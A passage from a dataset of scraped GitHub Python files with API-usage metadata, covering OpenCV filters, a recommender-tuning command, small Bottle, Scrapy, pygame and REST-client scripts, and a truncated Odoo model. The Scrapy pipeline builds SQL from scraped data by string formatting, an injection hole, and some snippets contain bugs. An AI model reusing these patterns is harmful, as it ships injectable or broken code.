"name"}, {"api_name": "AutoCombo.AutocompleteCombobox", "line_number": 2470, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 2479, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 2479, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 2490, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 2490, "usage_type": "name"}, {"api_name": "tkinter.ttk.Combobox", "line_number": 2501, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 2501, "usage_type": "name"}, {"api_name": "tkinter.ttk.Combobox", "line_number": 2517, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 2517, "usage_type": "name"}, {"api_name": "CountryRef.getCcyLst", "line_number": 2518, "usage_type": "call"}, {"api_name": "tkinter.ttk.Combobox", "line_number": 2527, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 2527, "usage_type": "name"}, {"api_name": "tkinter.ttk.Combobox", "line_number": 2540, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 2540, "usage_type": "name"}, {"api_name": "tkinter.ttk.Combobox", "line_number": 2548, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 2548, "usage_type": "name"}, {"api_name": "tkinter.ttk.Combobox", "line_number": 2564, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 2564, "usage_type": "name"}, {"api_name": "POemail.EmailPOWindow", "line_number": 2605, "usage_type": "call"}, {"api_name": "tkinter.messagebox.showerror", "line_number": 2607, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 2607, "usage_type": "name"}, {"api_name": "tkinter.ttk.Combobox", "line_number": 2657, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 2657, "usage_type": "name"}, {"api_name": "CountryRef.getCcyLst", "line_number": 2658, "usage_type": "call"}, {"api_name": "tkinter.ttk.Treeview", "line_number": 2729, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 2729, "usage_type": "name"}, {"api_name": "tkinter.ttk.Combobox", "line_number": 2829, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 2829, "usage_type": "name"}, {"api_name": "CountryRef.getCcyLst", "line_number": 2829, "usage_type": "call"}, {"api_name": "tkinter.ttk.Combobox", "line_number": 2834, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 2834, "usage_type": "name"}, {"api_name": "tkinter.ttk.Combobox", "line_number": 2836, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 2836, "usage_type": "name"}, {"api_name": "tkinter.ttk.Combobox", "line_number": 2838, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 2838, "usage_type": "name"}, {"api_name": "CountryRef.getCcyLst", "line_number": 2853, "usage_type": "call"}, {"api_name": "CountryRef.getExRate", "line_number": 2854, "usage_type": "call"}, {"api_name": "tkinter.messagebox.showerror", "line_number": 2935, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 2935, "usage_type": "name"}, {"api_name": "Login.AUTHLVL", "line_number": 2944, "usage_type": "attribute"}, {"api_name": "re.sub", "line_number": 2948, "usage_type": "call"}, {"api_name": "tkinter.messagebox.showerror", "line_number": 2953, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 2953, "usage_type": "name"}, {"api_name": "Login.AUTHLVL", "line_number": 2957, "usage_type": "attribute"}, {"api_name": "tkinter.messagebox.showerror", "line_number": 2961, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 2961, "usage_type": "name"}, {"api_name": "tkinter.messagebox.showerror", "line_number": 2974, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 2974, "usage_type": "name"}, {"api_name": "tkinter.messagebox.showerror", "line_number": 2982, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 2982, "usage_type": "name"}, {"api_name": "tkinter.messagebox.showerror", "line_number": 2991, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 2991, "usage_type": "name"}, {"api_name": "Login.AUTHLVL", "line_number": 3001, "usage_type": "attribute"}, {"api_name": "tkinter.messagebox.showerror", "line_number": 3002, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 3002, "usage_type": "name"}, {"api_name": "Login.AUTHLVL", "line_number": 3168, "usage_type": "attribute"}, {"api_name": "tkinter.messagebox.askokcancel", "line_number": 3169, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 3169, "usage_type": "name"}, {"api_name": "tkinter.messagebox.showerror", "line_number": 3178, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 3178, "usage_type": "name"}, {"api_name": "tkinter.messagebox.showinfo", "line_number": 3199, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 3199, "usage_type": "name"}, {"api_name": "tkinter.messagebox.showinfo", "line_number": 3226, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 3226, "usage_type": "name"}, {"api_name": "Login.AUTHLVL", "line_number": 3232, "usage_type": "attribute"}, {"api_name": "tkinter.messagebox.showerror", "line_number": 3245, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 3245, "usage_type": "name"}, {"api_name": "Login.AUTHLVL", "line_number": 3264, "usage_type": "attribute"}]}
{"seq_id": "29868438235", "text": "import numpy as np\nimport scipy.signal as signal\nimport scipy.ndimage as ndimg\n# import cupyx.scipy.ndimage as cim\n# import cupy as cp\nfrom definitions import BITSHIFT\nimport cv2\n\nshift_left_float = lambda arr: (arr*(2**BITSHIFT)).astype('int64')\nshift_left_int = lambda arr: (arr.astype('int64') << BITSHIFT)\nshift_right_float = lambda arr: (arr/(2**BITSHIFT)).astype('int64')\nshift_right_int = lambda arr: (arr.astype('int64') >> BITSHIFT)\n\n# def kernel_filter(img_, kernel_, confun='space'):\n#     img = shift_left_int(img_)\n#     kernel = shift_left_float(kernel_)\n#     if confun==\"fft\":\n#         result = signal.fftconvolve(img,\n#                                        kernel,\n#                                        mode='same')\n#     else:\n#         result = signal.fftconvolve(img, kernel, mode='same')\n#     result = shift_right_int(result)\n#     return result\n\ndef kernel_filter(img, kernel, confun='space'):\n    # img = shift_left_int(img_)\n    # kernel = shift_left_float(kernel)\n    result = cv2.filter2D(img, -1, kernel)\n    # result = shift_right_int(result)\n    return result\n\n# def detect_edges(img, kernel, threshold, confun='space'):\n#     edges = kernel_filter(img, kernel, confun)\n#     # edges = np.abs(edges)\n#     mask = edges > (threshold * edges.mean())\n#     return edges, mask\n\ndef detect_edges(img, threshold, dir='h'):\n    if dir=='h':\n        edges = cv2.Sobel(img, cv2.CV_32F, 1, 0)\n    elif dir=='v':\n        edges = cv2.Sobel(img, cv2.CV_32F, 0, 1)\n    edges = cv2.convertScaleAbs(edges)\n    mask = edges > (threshold * edges.mean())\n    return edges, mask\n\n# def detect_edges(img, min, max):\n#     edges = cv2.Canny(img, min, max)\n#     return edges\n", "repo_name": "BystrickyK/opencv-realtime", "sub_path": "tools/filters.py", "file_name": "filters.py", "file_ext": "py", "file_size_in_byte": 1689, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "69", "api": [{"api_name": "definitions.BITSHIFT", "line_number": 9, "usage_type": "name"}, {"api_name": "definitions.BITSHIFT", "line_number": 10, "usage_type": "name"}, {"api_name": "definitions.BITSHIFT", "line_number": 11, "usage_type": "name"}, {"api_name": "definitions.BITSHIFT", "line_number": 12, "usage_type": "name"}, {"api_name": "cv2.filter2D", "line_number": 29, "usage_type": "call"}, {"api_name": "cv2.Sobel", "line_number": 41, "usage_type": "call"}, {"api_name": "cv2.CV_32F", "line_number": 41, "usage_type": "attribute"}, {"api_name": "cv2.Sobel", "line_number": 43, "usage_type": "call"}, {"api_name": "cv2.CV_32F", "line_number": 43, "usage_type": "attribute"}, {"api_name": "cv2.convertScaleAbs", "line_number": 44, "usage_type": "call"}]}
{"seq_id": "10029712514", "text": "from librec_auto.core.cmd import Cmd\nfrom librec_auto.core.util import Files\nfrom librec_auto.core import ConfigCmd\nfrom librec_auto.core.util import Status, StudyStatus\nimport optuna\nimport joblib\nimport numpy as np\n\nclass OptimizationFunction():\n    def __init__(self, type, new_value, old_value, fairness, acceptable_threshold = 0.9):\n        self.type = type\n        self.store = {\"additive\":self.additive, \"multiplicative\":self.multiplicative, \"exponential\":self.exponential}\n        self.new_value = new_value\n        self.old_value = old_value\n        self.fairness = fairness\n        self.acceptable_threshold = acceptable_threshold\n\n        self.store[type]()\n\n    def additive(self):\n        self.value = max(0,(self.new_value - self.acceptable_threshold*float(self.old_value))) + self.fairness\n\n    def multiplicative(self):\n        self.value = min(1,(1-(self.acceptable_threshold*float(self.old_value)-self.new_value))) * self.fairness\n\n    def exponential(self):\n        self.value = max(0,(self.new_value - self.acceptable_threshold*float(self.old_value))) ** self.fairness\n\nclass TellCmd(Cmd):\n    def __init__(self, args, config, current_exp_no, study, trial, metric, direction, old_librec_value_command = None, new_val = None, optimize_val = None, files = None, optimization_type = \"additive\"):\n        # print(\"inside tell\")\n        self.config = config\n        self.args = args\n        self.current_exp_no = current_exp_no\n        self.study = study\n        self.trial = trial\n        self.metric = metric\n        self.direction = direction\n        self.status = 3 \n        self.files = files\n        self.optimization_type = optimization_type\n        self.title_map = {'auc': 'AUCEvaluator', 'ap': 'AveragePrecisionEvaluator','arhr': 'AverageReciprocalHitRankEvaluator','diversity': 'DiversityEvaluator',\n        'hitrate': 'HitRateEvaluator','idcg': 'IdealDCGEvaluator','ndcg': 'NormalizedDCGEvaluator',\n        'precision': 'PrecisionEvaluator', 'recall': 'RecallEvaluator', 'rr': 'ReciprocalRankEvaluator',\n        'featurediversity': 'DiversityByFeaturesEvaluator', 'novelty': 'NoveltyEvaluator', 'entropy': 'EntropyEvaluator',\n        'icov': 'ItemCoverageEvaluator', 'dppf': 'DiscountedProportionalPFairnessEvaluator', 'dpcf': 'DiscountedProportionalCFairnessEvaluator',\n        'giniindex': 'GiniIndexEvaluator', 'mae': 'MAEEvaluator','mpe': 'MPEEvaluator','mse': 'MSEEvaluator','rmse': 'RMSEEvaluator',\n        'csp': 'CStatisticalParityEvaluator', 'psp': 'PStatisticalParityEvaluator','miscalib': 'MiscalibrationEvaluator','nonpar': 'NonParityUnfairnessEvaluator','valunfairness': 'ValueUnfairnessEvaluator',\n        'absunfairness'\n        : 'AbsoluteUnfairnessEvaluator','overestimate': 'OverestimationUnfairnessEvaluator','underestimate': 'UnderestimationUnfairnessEvaluator','ppr': 'PPercentRuleEvaluator'        \n        }\n\n        self.old_librec_value_command = old_librec_value_command\n\n        self.optimize_val = optimize_val\n\n        self.new_val = new_val\n        \n    def __str__(self):\n        return f\"TellCmd()\"\n\n    def show(self):\n        print(str(self))\n\n    def dry_run(self, config):\n        print(f'librec-auto (DR): Running Tell command {self}')\n\n\n    def get_data(self):\n        store_val = ''\n\n        i = 0\n        for sub_paths in self.config._files.get_exp_paths_iterator():\n\n            study_status = StudyStatus(self.config)\n            if self.optimize_val is not None:\n                old_val = self.optimize_val\n                store_val = None\n                store_psp = None\n                if self.metric in self.title_map:\n                    for sub_paths in self.config._files.get_exp_paths_iterator():\n\n                        if i != self.current_exp_no:\n                            i += 1\n                            continue\n                        status = Status(sub_paths)\n                        store_val = status.get_metric_info(status._log, BBO = True)[self.title_map[self.metric]]\n                        store_psp = status.get_metric_info(status._log, BBO = True)[self.title_map[\"psp\"]]\n                        break\n\n                store_new_val = store_val\n                print(store_val, store_psp,\"get_data\")\n                # store_val = max(0,(store_new_val - 0.95*float(old_val))) + self.new_val._previous_status[\"psp.py\"]\n                value_object = OptimizationFunction(self.optimization_type, store_new_val,old_val, store_psp)\n                store_val = value_object.value\n                s = str(self.config._files.get_exp_paths(self.current_exp_no)._path_dict[\"output\"])[:-10] + \"output_combo.txt\"\n\n                with open(s,\"w+\") as f:\n                    f.write(str(store_val))\n            else:\n                if self.metric in self.title_map:\n                    for sub_paths in self.config._files.get_exp_paths_iterator():\n\n                        if i != self.current_exp_no:\n                            i += 1\n                            continue\n                        status = Status(sub_paths)\n                        store_val = status.get_metric_info(status._log, BBO = True)[self.title_map[self.metric]]\n                        break\n                else:\n                    # print(study_status._experiments.values())\n                    # for exp in study_status._experiments.values():\n                    #     print(exp._metric_avg)\n\n                    store_val = study_status.get_metric_averages(self.metric)[0]\n            break\n                \n        return float(store_val)\n        \n    \n    def execute(self, command):\n        data = self.get_data()\n        pruned_trial = False\n        if self.trial.should_prune():\n            pruned_trial = True\n\n        file_num = str(self.current_exp_no)\n        while len(file_num) < 5:\n            file_num = \"0\" + str(file_num)\n        path = str(self.files._study_path) + \"/exp\" + file_num\n        joblib.dump(self.study, path+ \"/study.pkl\")\n        if pruned_trial:\n            self.study.tell(self.trial, state=optuna.trial.TrialState.PRUNED)\n        else:\n            self.study.tell(self.trial, data)\n\n    \n", "repo_name": "that-recsys-lab/librec-auto", "sub_path": "librec_auto/core/cmd/tell_cmd.py", "file_name": "tell_cmd.py", "file_ext": "py", "file_size_in_byte": 6090, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 26, "dataset": "github-code", "pt": "69", "api": [{"api_name": "librec_auto.core.cmd.Cmd", "line_number": 29, "usage_type": "name"}, {"api_name": "librec_auto.core.util.StudyStatus", "line_number": 75, "usage_type": "call"}, {"api_name": "librec_auto.core.util.Status", "line_number": 86, "usage_type": "call"}, {"api_name": "librec_auto.core.util.Status", "line_number": 107, "usage_type": "call"}, {"api_name": "joblib.dump", "line_number": 131, "usage_type": "call"}, {"api_name": "optuna.trial", "line_number": 133, "usage_type": "attribute"}]}
{"seq_id": "33590405750", "text": "\"\"\"\nСкрипт для генерации контента произведения исскуства\n\"\"\"\nfrom pymongo import MongoClient\n\nDOC_IDS = \"_id\"\nDOC_EXTERNAL_IDS = \"external_ids\"\nDOC_DOCS = \"docs\"\nDOC_NAME = 'name'\nDOC_TYPE = 'type'\nDOC_AUTHOR = 'author'\nDOC_DATE = 'date'\nDOC_AUDIO = 'audio'\nDOC_IMG = 'img'\nDOC_DESCRIPTION = 'description'\n\nCONNECTION = MongoClient()\nARTS = CONNECTION['pushkin']['art']\n\ntry:\n    print(\"Добавляем элементы датасета!\")\n    while True:\n        print(\"=========================\")\n        name = input(\"Введите название: \")\n        art_type = input(\"Введите тип предмета: \")\n        ids = input(\"Введите id предмета: \")\n        author = input(\"Введите автора предмета: \")\n        date = input(\"Введите дату создания: \")\n        audio = input(\"Введите ссылку на аудио запись: \")\n        img = input(\"Введите ссылку на картинку: \")\n        description = input(\"Введите краткое описание\")\n        docs = []\n        while True:\n            command = input(\"Введите ключевую фразу или Enter для выхода\")\n            if not command:\n                break\n            docs.append(command)\n        art = {\n            DOC_EXTERNAL_IDS: ids,\n            DOC_NAME: name,\n            DOC_TYPE: art_type,\n            DOC_AUTHOR: author,\n            DOC_AUDIO: audio,\n            DOC_IMG: img,\n            DOC_DATE: date,\n            DOC_DESCRIPTION: description,\n            DOC_DOCS: docs\n        }\n        print(\"ADDING: \", art)\n        ARTS.insert_one(art)\n        print(\"ADDED\")\nexcept KeyboardInterrupt:\n    CONNECTION.close()", "repo_name": "botanhuligan/vk-backend", "sub_path": "icaas/generate_arts.py", "file_name": "generate_arts.py", "file_ext": "py", "file_size_in_byte": 1778, "program_lang": "python", "lang": "ru", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "69", "api": [{"api_name": "pymongo.MongoClient", "line_number": 17, "usage_type": "call"}]}
{"seq_id": "37311356271", "text": "\r\nimport os, sys\r\nimport json\r\n\r\nmethods = ['GET','POST','DELETE','PUT']\r\n\r\nprint(\"*\"*50+'\\n\\t'+'WELOCME TO REST CLIENT CLI'+'\\n'+'*'*50)\r\nurl = input(\"Enter Url: \")\r\nmethod = methods[int(input(\"Method [1]GET [2]POST [3]DELETE [4]PUT :\"))-1]\r\n\r\npost_data = {}\r\nif (method==\"POST\"):\r\n\tkey, val = \"pre\", \"pre\"\r\n\twhile len(key) > 0 and len(val) > 0 :\r\n\t\ttry:\r\n\t\t\tkey, val = input(\"key:value -> \").split(\":\")\r\n\t\t\tpost_data[key] = val\r\n\t\texcept:\r\n\t\t\tbreak\r\n\r\nobj = {\"url\": url, \"method\": method, \"post_data\":post_data}\r\n\r\njson_obj = json.dumps(obj, indent=2)\r\n\r\nprint(\"Writing obj ...\")\r\nprint(json_obj)\r\n\r\nfile = open(\"config.txt\", \"w\")\r\nfile.write(json_obj)\r\nfile.close()\r\n\r\ntry:\r\n\tos.system(\"node rest_client\")\r\nexcept:\r\n\tprint(\"Error ! Can't Use this protocol\")\r\n\r\n\r\n", "repo_name": "shihabuddin413/CliRestClient", "sub_path": "rest_client/main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 766, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "69", "api": [{"api_name": "json.dumps", "line_number": 23, "usage_type": "call"}, {"api_name": "os.system", "line_number": 33, "usage_type": "call"}]}
{"seq_id": "13896791891", "text": "#!/usr/bin/env python\nfrom userdata import USER_INFO\nimport os\n\nworking_dir = os.path.dirname(os.path.realpath(__file__))\nactivate_this = os.path.join(working_dir, \"venv_bottle/bin/activate_this.py\")\nexec(open(activate_this).read(), {'__file__': activate_this})\n\nfrom bottle import route, run, template, request, static_file, default_app, redirect\n\ndef get_token():\n    with open(\"token_file\", 'r') as rf:\n        ret_token = rf.readline().strip()\n    return ret_token\n\n\n@ route('/')\ndef send_static(filename):\n    return static_file(filename, root='static/')\n\n\n@ route('/links')\ndef linktree():\n    token = request.query.get('at')\n    cur_token = get_token()\n    if token == cur_token:\n        name = USER_INFO.get(\"name\")\n        sname = USER_INFO.get(\"sname\")\n        github = USER_INFO.get(\"github\")\n        ig = USER_INFO.get(\"ig\")\n        email = USER_INFO.get(\"email\")\n        fb = USER_INFO.get(\"fb\")\n        twitter = USER_INFO.get(\"twitter\")\n        reddit = USER_INFO.get(\"reddit\")\n        youtube = USER_INFO.get(\"youtube\")\n\n        return template('linktree', name=name, ig=ig, github=github, email=email,\n                        sname=sname, facebook=fb, twitter=twitter, reddit=reddit,\n                        youtube=youtube)\n    else:\n        redirect('/')\n\n\n@ route('/')\ndef index():\n    return template('index')\n\n\napplication = default_app()\n\nif __name__ == \"__main__\":\n    run(host='0.0.0.0', port=8080, reloader=True)\n", "repo_name": "mitschix/linktree-bottlepy", "sub_path": "app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 1454, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "69", "api": [{"api_name": "os.path.dirname", "line_number": 5, "usage_type": "call"}, {"api_name": "os.path", "line_number": 5, "usage_type": "attribute"}, {"api_name": "os.path.realpath", "line_number": 5, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 6, "usage_type": "call"}, {"api_name": "os.path", "line_number": 6, "usage_type": "attribute"}, {"api_name": "bottle.static_file", "line_number": 19, "usage_type": "call"}, {"api_name": "bottle.route", "line_number": 17, "usage_type": "call"}, {"api_name": "bottle.request.query.get", "line_number": 24, "usage_type": "call"}, {"api_name": "bottle.request.query", "line_number": 24, "usage_type": "attribute"}, {"api_name": "bottle.request", "line_number": 24, "usage_type": "name"}, {"api_name": "userdata.USER_INFO.get", "line_number": 27, "usage_type": "call"}, {"api_name": "userdata.USER_INFO", "line_number": 27, "usage_type": "name"}, {"api_name": "userdata.USER_INFO.get", "line_number": 28, "usage_type": "call"}, {"api_name": "userdata.USER_INFO", "line_number": 28, "usage_type": "name"}, {"api_name": "userdata.USER_INFO.get", "line_number": 29, "usage_type": "call"}, {"api_name": "userdata.USER_INFO", "line_number": 29, "usage_type": "name"}, {"api_name": "userdata.USER_INFO.get", "line_number": 30, "usage_type": "call"}, {"api_name": "userdata.USER_INFO", "line_number": 30, "usage_type": "name"}, {"api_name": "userdata.USER_INFO.get", "line_number": 31, "usage_type": "call"}, {"api_name": "userdata.USER_INFO", "line_number": 31, "usage_type": "name"}, {"api_name": "userdata.USER_INFO.get", "line_number": 32, "usage_type": "call"}, {"api_name": "userdata.USER_INFO", "line_number": 32, "usage_type": "name"}, {"api_name": "userdata.USER_INFO.get", "line_number": 33, "usage_type": "call"}, {"api_name": "userdata.USER_INFO", "line_number": 33, "usage_type": "name"}, {"api_name": "userdata.USER_INFO.get", "line_number": 34, "usage_type": "call"}, {"api_name": "userdata.USER_INFO", "line_number": 34, "usage_type": "name"}, {"api_name": "userdata.USER_INFO.get", "line_number": 35, "usage_type": "call"}, {"api_name": "userdata.USER_INFO", "line_number": 35, "usage_type": "name"}, {"api_name": "bottle.template", "line_number": 37, "usage_type": "call"}, {"api_name": "bottle.redirect", "line_number": 41, "usage_type": "call"}, {"api_name": "bottle.route", "line_number": 22, "usage_type": "call"}, {"api_name": "bottle.template", "line_number": 46, "usage_type": "call"}, {"api_name": "bottle.route", "line_number": 44, "usage_type": "call"}, {"api_name": "bottle.default_app", "line_number": 49, "usage_type": "call"}, {"api_name": "bottle.run", "line_number": 52, "usage_type": "call"}]}
{"seq_id": "1362661654", "text": "import httpx\nimport logging\n\nfrom contextlib import suppress\n\nheaders = httpx.Headers(\n    {\n        b\"Accept\": b\"*/*\",\n        b\"Accept-Encoding\": b\"gzip, deflate\",\n        b\"Connection\": b\"keep-alive\",\n        b\"Referer\": \"https://google.com/\",\n        b\"User-Agent\": b\"animdl/1.4.20\",\n    }\n)\n\n\ndef get_safeoverride(f):\n    def inner(*args, **kwargs):\n        with suppress():\n            return f(*args, **kwargs)\n        return\n\n    return inner\n\n\nclass AnimeHttpClient(httpx.Client):\n\n    http_logger = logging.getLogger(\"animdl-http\")\n\n\nclient = AnimeHttpClient(headers=headers, timeout=30.0)\n\nclient.__del__ = get_safeoverride(client.__del__)\n", "repo_name": "Kadantte/animdl", "sub_path": "animdl/core/cli/http_client.py", "file_name": "http_client.py", "file_ext": "py", "file_size_in_byte": 651, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "github-code", "pt": "71", "api": [{"api_name": "httpx.Headers", "line_number": 6, "usage_type": "call"}, {"api_name": "contextlib.suppress", "line_number": 19, "usage_type": "call"}, {"api_name": "httpx.Client", "line_number": 26, "usage_type": "attribute"}, {"api_name": "logging.getLogger", "line_number": 28, "usage_type": "call"}]}
{"seq_id": "74655004378", "text": "import datetime\nimport pygame\nfrom constants import TIME\npygame.init()\n\n\nclass Start:\n    '''Начальная позиция'''\n\n    def change_state(self, user):\n        '''Начало тренировки'''\n        user.timer = pygame.time.get_ticks()\n        user.word = ''\n        user.printed = 0\n        user.correct = 0\n        return Write()\n\n\nclass Write:\n    '''Состояние печатания'''\n\n    def change_state(self, user):\n        '''Возвращение статистики'''\n        time = datetime.datetime.now().strftime('%d-%m-%Y %H:%M')\n        with open(f'records/{time}.txt', 'w+') as res:\n            res.write(f'Time: {time}\\n'\n                      f'Count of mistakes: {user.printed - user.correct}\\n'\n                      f'Speed: {int(user.correct * (60.0 / TIME))} char/min\\n')\n        return Stats()\n\n\nclass Stats:\n    '''Состояние статистики'''\n\n    def change_state(self, user):\n        '''Начало тренировки'''\n        user.timer = pygame.time.get_ticks()\n        user.word = ''\n        user.printed = 0\n        user.correct = 0\n        return Write()\n", "repo_name": "Bakytw/Keyboard-Trainer", "sub_path": "src/conditions.py", "file_name": "conditions.py", "file_ext": "py", "file_size_in_byte": 1139, "program_lang": "python", "lang": "ru", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "69", "api": [{"api_name": "pygame.init", "line_number": 4, "usage_type": "call"}, {"api_name": "pygame.time.get_ticks", "line_number": 12, "usage_type": "call"}, {"api_name": "pygame.time", "line_number": 12, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 24, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 24, "usage_type": "attribute"}, {"api_name": "constants.TIME", "line_number": 28, "usage_type": "name"}, {"api_name": "pygame.time.get_ticks", "line_number": 37, "usage_type": "call"}, {"api_name": "pygame.time", "line_number": 37, "usage_type": "attribute"}]}
{"seq_id": "214435247", "text": "# -*- coding: utf-8 -*-\n\n# Define your item pipelines here\n#\n# Don't forget to add your pipeline to the ITEM_PIPELINES setting\n# See: http://doc.scrapy.org/en/latest/topics/item-pipeline.html\nfrom scrapy import signals\nimport json\nimport codecs\nfrom twisted.enterprise import adbapi\nfrom datetime import datetime\nfrom hashlib import md5\nimport MySQLdb\nimport MySQLdb.cursors\n\nclass Scrapytest2Pipeline(object):\n    def process_item(self, item, spider):\n        return item\n\nclass JsonWriterPipeline(object):\n    def __init__(self):\n        self.filename = open(\"ZPposition.json\", \"wb\")\n\n    def process_item(self, item, spider):\n        jsontext = json.dumps(dict(item), ensure_ascii=False) + \",\\n\"\n        self.filename.write(jsontext.encode(\"utf-8\"))\n        return item\n\n    def close_spider(self, spider):\n        self.filename.close()\n    # def open_spider(self, spider):\n    #     self.file = open('ZPposition.jl', 'wb')\n    #\n    # def close_spider(self, spider):\n    #     self.file.close()\n    #\n    # def process_item(self, item, spider):\n    #     line = json.dumps(dict(item)) + \"\\n\"\n    #     self.file.write(line)\n    #     return item\n\nclass MySQLStoreCnblogsPipeline(object):\n    def __init__(self, dbpool):\n        self.dbpool = dbpool\n\n    @classmethod\n    def from_settings(cls, settings):\n        dbargs = dict(\n            host=settings['MYSQL_HOST'],\n            db=settings['MYSQL_DBNAME'],\n            user=settings['MYSQL_USER'],\n            passwd=settings['MYSQL_PASSWD'],\n            charset='utf8',\n            cursorclass=MySQLdb.cursors.DictCursor,\n            use_unicode=True,\n        )\n        dbpool = adbapi.ConnectionPool('MySQLdb', **dbargs)\n        return cls(dbpool)\n\n    # pipeline默认调用\n    def process_item(self, item, spider):\n        d = self.dbpool.runInteraction(self._do_upinsert, item, spider)\n        d.addErrback(self._handle_error, item, spider)\n        d.addBoth(lambda _: item)\n        return d\n\n    # 将每行更新或写入数据库中\n    def _do_upinsert(self, conn, item, spider):\n        urlmd5id = self._get_urlmd5id(item)\n        # print urlmd5id\n        now = datetime.utcnow().replace(microsecond=0).isoformat(' ')\n        # conn.execute(\"\"\"\n        #         select 1 from book where urlmd5id = %s\n        # \"\"\" % (urlmd5id,))\n        # ret = conn.fetchone()\n        ret = False\n        if ret:\n            conn.execute(\"\"\"\n                update showbook_book set bookname = '%s', author = '%s', url = '%s', bookrate = %s, ratepeople = %s, image_url = '%s' where urlmd5id = '%s'\n            \"\"\" % (item['bookname'], item['author'], item['url'], item['bookrate'], item['ratepeople'], item['image_urls'][0], urlmd5id))\n            # print \"\"\"\n            #    update book set bookname = %s, author = %s, url = %s, bookrate = %s, ratepeople = %s where urlmd5id = %s\n            # \"\"\", (item['bookname'], item['desc'], item['url'], item['bookrate'], now, urlmd5id)\n        else:\n            str = \"\"\"\n                insert into showbook_book(urlmd5id, bookname, author, url, bookrate, ratepeople, image_url) \n                values('%s', '%s', '%s', '%s', %s, %s, '%s')\n            \"\"\" % (urlmd5id, item['bookname'], item['author'], item['url'], item['bookrate'], item['ratepeople'], item['image_urls'][0])\n\n            conn.execute(\"\"\"\n                insert into showbook_book(urlmd5id, bookname, author, url, bookrate, ratepeople, image_url) \n                values('%s', '%s', '%s', '%s', %s, %s, '%s')\n            \"\"\" % (urlmd5id, item['bookname'], item['author'], item['url'], item['bookrate'], item['ratepeople'], item['image_urls'][0]))\n\n    # 获取url的md5编码\n    def _get_urlmd5id(self, item):\n        # url进行md5处理，为避免重复采集设计\n        return md5(item['url']).hexdigest()\n\n    # 异常处理\n    def _handle_error(self, failue, item, spider):\n        pass#log.err(failure)", "repo_name": "dongxiaoping1015/something", "sub_path": "scrapytest2/scrapytest2/pipelines.py", "file_name": "pipelines.py", "file_ext": "py", "file_size_in_byte": 3882, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "json.dumps", "line_number": 25, "usage_type": "call"}, {"api_name": "MySQLdb.cursors", "line_number": 54, "usage_type": "attribute"}, {"api_name": "twisted.enterprise.adbapi.ConnectionPool", "line_number": 57, "usage_type": "call"}, {"api_name": "twisted.enterprise.adbapi", "line_number": 57, "usage_type": "name"}, {"api_name": "datetime.datetime.utcnow", "line_number": 71, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 71, "usage_type": "name"}, {"api_name": "hashlib.md5", "line_number": 98, "usage_type": "call"}]}
{"seq_id": "70402611429", "text": "# Copyright 2022 juanpgarza - Juan Pablo Garza \r\n# License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl).\r\n\r\nfrom odoo import models, fields, api, _\r\nfrom odoo.exceptions import ValidationError, UserError\r\nfrom datetime import datetime\r\n\r\nfrom odoo.osv import expression\r\nfrom odoo.tools import float_is_zero, pycompat\r\nfrom odoo.tools import float_compare, float_round, float_repr\r\nfrom odoo.tools.misc import formatLang, format_date\r\n\r\nimport time\r\nimport math\r\n\r\nclass PopConfig(models.Model):\r\n    _name = 'pop.config'\r\n    _description = 'Caja'\r\n\r\n    name = fields.Char(string='Descripción', index=True, required=True, help=\"Una descripción interna de la caja.\")\r\n    journal_ids = fields.Many2many(\r\n        'account.journal', 'pop_journal_rel',\r\n        'pop_id', 'journal_id', string='Métodos de pago disponibles',\r\n        domain=\"[('type', 'in', ['bank', 'cash'])]\",)\r\n\r\n    session_ids = fields.One2many('pop.session', 'pop_id', string='Sesiones')\r\n\r\n    current_session_id = fields.Many2one('pop.session', compute='_compute_current_session', string=\"Current Session\")\r\n    current_session_state = fields.Char(compute='_compute_current_session')\r\n    pop_session_username = fields.Char(compute='_compute_current_session_user')\r\n    pop_session_state = fields.Char(compute='_compute_current_session_user')\r\n    pop_session_duration = 